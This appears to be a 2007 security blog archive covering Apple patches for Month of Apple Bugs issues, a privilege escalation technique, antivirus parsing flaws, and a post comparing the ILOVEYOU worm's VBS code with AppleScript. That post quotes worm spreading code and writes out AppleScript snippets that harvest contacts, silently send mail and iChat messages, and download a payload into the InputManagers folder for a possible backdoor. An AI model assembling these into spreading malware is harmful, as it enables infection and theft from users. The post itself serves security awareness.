Apple releases Quicktime and Airport Extreme security updates

Apple has released security updates for the vulnerability published during the Month of Apple Bugs as MOAB-01-01-2007 and the closing vulnerability for the Month of Kernel Bugs , MOKB-30-11-2006. The exposure time was of 22 days for the first, and 58 days for the latter (although no public proof of concept was distributed, which would have, most probably, boosted the patch development).

• AirPort Update 2007-001 (CVE-2006-6292)
• Security Update 2007-001 (CVE-2007-0015)

Exploiting the otherwise non-exploitable, on Mac OS X

UserNotificationCenter retains wheel privileges on execution time, and still has a UID associated with the current user. Because of this, it will attempt to run any InputManager provided by the user. Code within the input manager will run under wheel privileges. In combination with diskutil and a wheel-writable setuid binary, this allows unprivileged users to gain root privileges.

See the Month of Apple Bugs release and the exploit. This issue can be abused by fully unprivileged users and triggered via any of the so-called 'crashes' (ex. alleged 'denial of service'-only issues...).

A tribute to the Month of Browser Bugs, and specially Matt Miller, HD Moore and Skywing.

Inline Media Encryptor

Description from the NSA website about IME:

The Inline Media Encryptor (IME) is a government-developed media encryption device. It is positioned "in line" between the computer processor and hard drive to ensure that anything stored to the hard drive gets encrypted and anything retrieved from the hard drive gets decrypted. The IME protects data classified Top Secret and below. Data stored on the hard drive is considered unclassified when encrypted.

Nice. Read about the features. Certainly hardware based solutions are extremely useful. Wonder if there's a commercial device that conforms to similar standards available for public consumption. Hopefully not.

January first week digest

There has been a significant work load, between working on exploit code and dealing with press and media. Looks like some stuff has been going around:

• The Metasploit module (Microsoft Windows target) for the Quicktime RSTP vulnerability, by MC.
• An excellent article by Brian Krebs about Microsoft Internet Explorer vulnerabilities, patch times and "exposure" time (total: 284 days, see the neat chart).
• Apple DiskManagement BOM Local Privilege Escalation Vulnerability (Month of Apple Bugs).
• Landon Fuller kicks *** with the fixes for MOAB issues.
• VideoLAN fixes the VLC issue in record time (certainly an example of fast great vulnerability response).
• dr_springfield website (nice code).

More to come if there's time for it.

Flawed antivirus products

A load of new issues have been published, related to AV products (during the current month). Apparently fuzzing is becoming quite a bit popular nowadays, as mostly every issue is related to a file format parsing flaw:

• F-Prot Antivirus for Unix: heap overflow and Denial of Service
• [ GLSA 200612-12 ] F-PROT Antivirus: Multiple vulnerabilities
• iDefense Security Advisory 12.08.06: Sophos Antivirus CHM File Heap Overflow Vulnerability
• iDefense Security Advisory 12.08.06: Sophos Antivirus CHM Chunk Name Length Memory Corruption Vulnerability
• iDefense Security Advisory 12.08.06: Multiple Vendor Antivirus RAR File Denial of Service Vulnerability
• n.runs - NOD32 Antivirus CAB parsing Arbitrary Code Execution Advisory
• n.runs - NOD32 Antivirus DOC parsing Arbitrary Code Execution Advisory
• n.runs - BitDefender AV Packed PE File Parsing Engine Heap Overflow

Definitely AV engines are a hot target for fuzzing. They are supposed to handle many different archive and executable formats and that's a great source of security issues (most commonly, integer overflows, heap-based buffer overflows and even some good old stack smashing fun).

AppleScript: Even easier than VBS? (I)

After playing with the AppleScript language for a while, it looks like an extremely useful feature of Mac OS X, which enables interaction with mostly every application installed. It's extremely similar (functionality-wise) to Microsoft's Visual Basic Script (VBS), which also enables scriptability of the whole system, depending on installed components and other settings. VBS certainly helped to automate tasks and other operations in Microsoft Windows, but also brought a whole new class of malware.

Thanks to the integration of the scripting functionality, it becomes much more easier to elaborate malware capable of spreading itself, for example accessing the Microsoft Outlook address book to gather target e-mail addresses. The first widely known in-the-wild example of malware deploying these techniques was the infamous ILOVEYOU. It's worth noting, that, while they weren't capable of "morphing" their code (ex. on spread time, they didn't generate a different source representation of themselves), they already made use of obfuscation techniques such as variable name randomization, strings encoding and other tricks. Thus, the author needed to start different infections using variants, in order to avoid detection by signature-based antivirus and IDS products.

We'll be walking through the original LoveLetter (aka ILOVEYOU) worm source code and looking over the equivalent functionality and potentially harmful capabilities of AppleScript.

Note: Some readers report warnings and blocked content by antivirus products. No script is being executed at all, although, real source code is quoted and thus it may be detected by the AV engine as harmful content.

Warming up with VBS vs. AppleScript

The following is a fragment of the ILOVEYOU/LoveLetter worm source code (Update: edited to avoid false positives in AV engines), which initializes an object for filesystem access and opens itself (WScript.ScriptFullname is the path to the current running script):

Set myFs = CreateObject("Scripting.FileSystemObject")
set mySelf = myFs.OpenTextFile(WScript.ScriptFullname, 1)

This functionality is also present in AppleScript, and it's certainly much more flexible (no need to initialize an object for reading the file, as well as simplified filesystem operations):

set pathLetter to (path to me)
set myLetter to (read pathLetter)


The above AppleScript code simply makes the script read itself (path to me) and stores the data in the myLetter variable.

Spread. You've got Mail.

The following code is part of the LoveLetter spreading routine (Update: edited to avoid AV engines false positives):

set myOut = WScript.CreateObject("Outlook.Application")
set myBook = myOut.GetNameSpace("MAPI")
(...)
for myCtrlLists = 1 to myBook.AddressLists.Count
set myAddrs = myBook.AddressLists(myCtrlLists)
(...)
set myEvilMessage = myOut.CreateItem(0)
myEvilMessage.Recipients.Add(poorDude)
myEvilMessage.Subject = myEvilSubject
myEvilMessage.Body = vbcrlf&myEvilBody
myEvilMessage.Attachments.Add(sysDir&randName)
myEvilMessage.Send
(...)

Let's check what the above code is doing. First it initializes two objects, for Outlook and Address Book scriptability. Then it walks through the address book and sends an e-mail with a pseudo-random payload and the script as attachment. Simple, and fast. Now, we are going to check for the same functionality in our very own AppleScript:

1. We need to access a list of e-mail addresses somewhere.
1. Address Book
2. Mail
3. Other applications installed that could be integrated: Entourage, Eudora, etc.
2. Then we need to use the target application scriptability:
1. Mail

Fortunately, AppleScript isn't as over-complicated as VBS. Interaction with installed applications is done using 'tell' blocks:

tell application "Mail"
(...)
end tell

Thus, we'll need a block for iterating through the Address Book entries (testing each one for available e-mail field) and another one for sending the messages. Easy. Let's see how we can send an e-mail (added arbitrary line breaks for making it fit in the page):

tell application "Mail"
set pwnMessage to make new outgoing message with properties {
subject:"Welcome to Pwndertino",
sender:"Pwnies Mghee", address:"[email protected]",
content:"Hey, happy xmas! check the photo.", visible:false}
tell pwnMessage
make new to recipient with properties {address:"[email protected]"}
end tell
send pwnMessage
quit
end tell

The above code is self-explanatory: we 'tell' the Mail application to make a new outgoing message for recipient '[email protected]' from 'Pwnies Mghee', with subject 'Welcome to Pwndertino'. It won't prompt the user for sending, but it will leave the e-mail in the Sent folder.

Finally, for gathering e-mail addresses from the user Address Book:

set myList to {}
tell application "Address Book"
repeat with thisDude in every person
repeat with thisEmail in email of thisDude
set myList to myList & (value of thisEmail as string)
end repeat
end repeat
end tell

Downloading arbitrary content

A nice functionality exists in AppleScript that makes possible automated downloading of content from arbitrary sources, to a place in the filesystem of our choice:

tell application "URL Access Scripting"
set evilURL to "http://projects.info-pull.com/moab/images/apple-peeler.jpg"
set targetPath to ((path to home folder) & "Library:InputManagers:Apple.jpg") as string
download evilURL to file targetPath replacing yes
end tell

The above code simply downloads an image to your home folder Library/InputManagers directory. A malicious script could download a compressed bundle, another script or any other payload you can imagine (for example a Universal Binary), then executing it or uncompressing the input manager for installing a backdoor on the target system. Actually, the LoveLetter worm needed a trick in Internet Explorer to download a remote executable (setting the startup page to the target URL), which wasn't 100% reliable. In Mac OS X, we have this nice URL Access Scripting which makes it easy and most probably reliable on every OS X installation.

Fun with iChat

Of course, the by-default instant messaging application of Mac OS X, iChat, is accessible from AppleScript. A few different operations are available, from listing available contacts to setting the status message or sending a message (Doesn't that sound like those IM-based worms which send an URL to every contact in the account, expecting them to download and run the file?):

tell application "iChat"
set myAccounts to (get properties of every account)
set myList to {}
repeat with acct in myAccounts
copy acct's id to the end of myList
end repeat
end tell


The above code will store all available contact IDs in the myList variable. The following script, instead, will send a message to each available contact:

tell application "iChat"
set myMsg to "Welcome to Pwndertino" as string
repeat with acct in every account
send myMsg to acct
end repeat
end tell

And for changing the status message:

tell application "iChat"
set newStatus to "Check out http://evil.foo!"
set status message to newStatus
end

Binary vs. Text-based

VBS scripts are plain text files, but AS scripts are contained in a binary format, which can be restricted from modification (that is, read-only compiled scripts won't be opened by the Script Editor). Although, in the near future this restriction could be rendered useless (probably there's nothing more than simple encoding as the file differences seem to be minimal, and read-only scripts could be reversed back to their edit-capable status).

So-called "in-the-wild cases"

Malware developed with VBS has been present for years, with many infamous in-the-wild infections. A load of tools, and do-it-yourself kits appeared, like VBSWG (used to create the Anna Kournikova worm and many other variants), causing a storm of generic malware and variants of the same sample. Reading the VX Heavens statistics, we can see there are 1562 samples of VBS-based malware. For AppleScript, no entry exists. Although, in-the-wild infections caused by AppleScript-based worms have been in the news.

Mac.Simpsons@mm used Microsoft Outlook Express or Entourage for spreading itself to all available contacts, as well as copying itself to the Startup Items folder. Like with many other worms, user interaction was a requirement for successful infection.

Conclusions

Apple, once again, has invested more on usability and integration than on security. AppleScript is a great feature which makes OS X easier for those who need to perform repetitive tasks and other operations supported by this powerful scripting language. It's easy to learn and tightly integrated in the system, providing access to every installed application and it's associated information.

But this leaves a huge attack surface for those good old malware villains. If VBS caused the 'worm big bang' in Microsoft Windows systems, there's no doubt there will be a similar movement around OS X and its now unlimited scripting facilities.But the question is, Is it really worth (as in profit) to invest time on OS X malware? The answer remains unknown. But it would be useful to inject a dose of reality right into the brain of some clueless hipsters.

Further information:

1. MacInTouch Special Report: Simpsons AppleScript Virus
2. Sophos information about AplS/Simpsons-A
3. Building Anna Kournikova: An Analysis of the VBSWG Worm Kit
4. CERT Advisory CA-2000-04 Love Letter Worm

Wireless fun with MOKB-11-11-2006

The Broadcom BCMWL5.SYS wireless device driver is vulnerable to a stack-based buffer overflow that can lead to arbitrary kernel-mode code execution. This particular vulnerability is caused by improper handling of 802.11 probe responses containing a long SSID field. The BCMWL5.SYS driver is bundled with new PCs from HP, Dell, Gateway, eMachines, and other computer manufacturers. Broadcom has released a fixed driver to their partners, which are in turn providing updates for the affected products. Linksys, Zonet, and other wireless card manufactures also provide devices that ship with this driver.

More details and proof of concept (exploit) at http://projects.info-pull.com/mokb/MOKB-11-11-2006.html.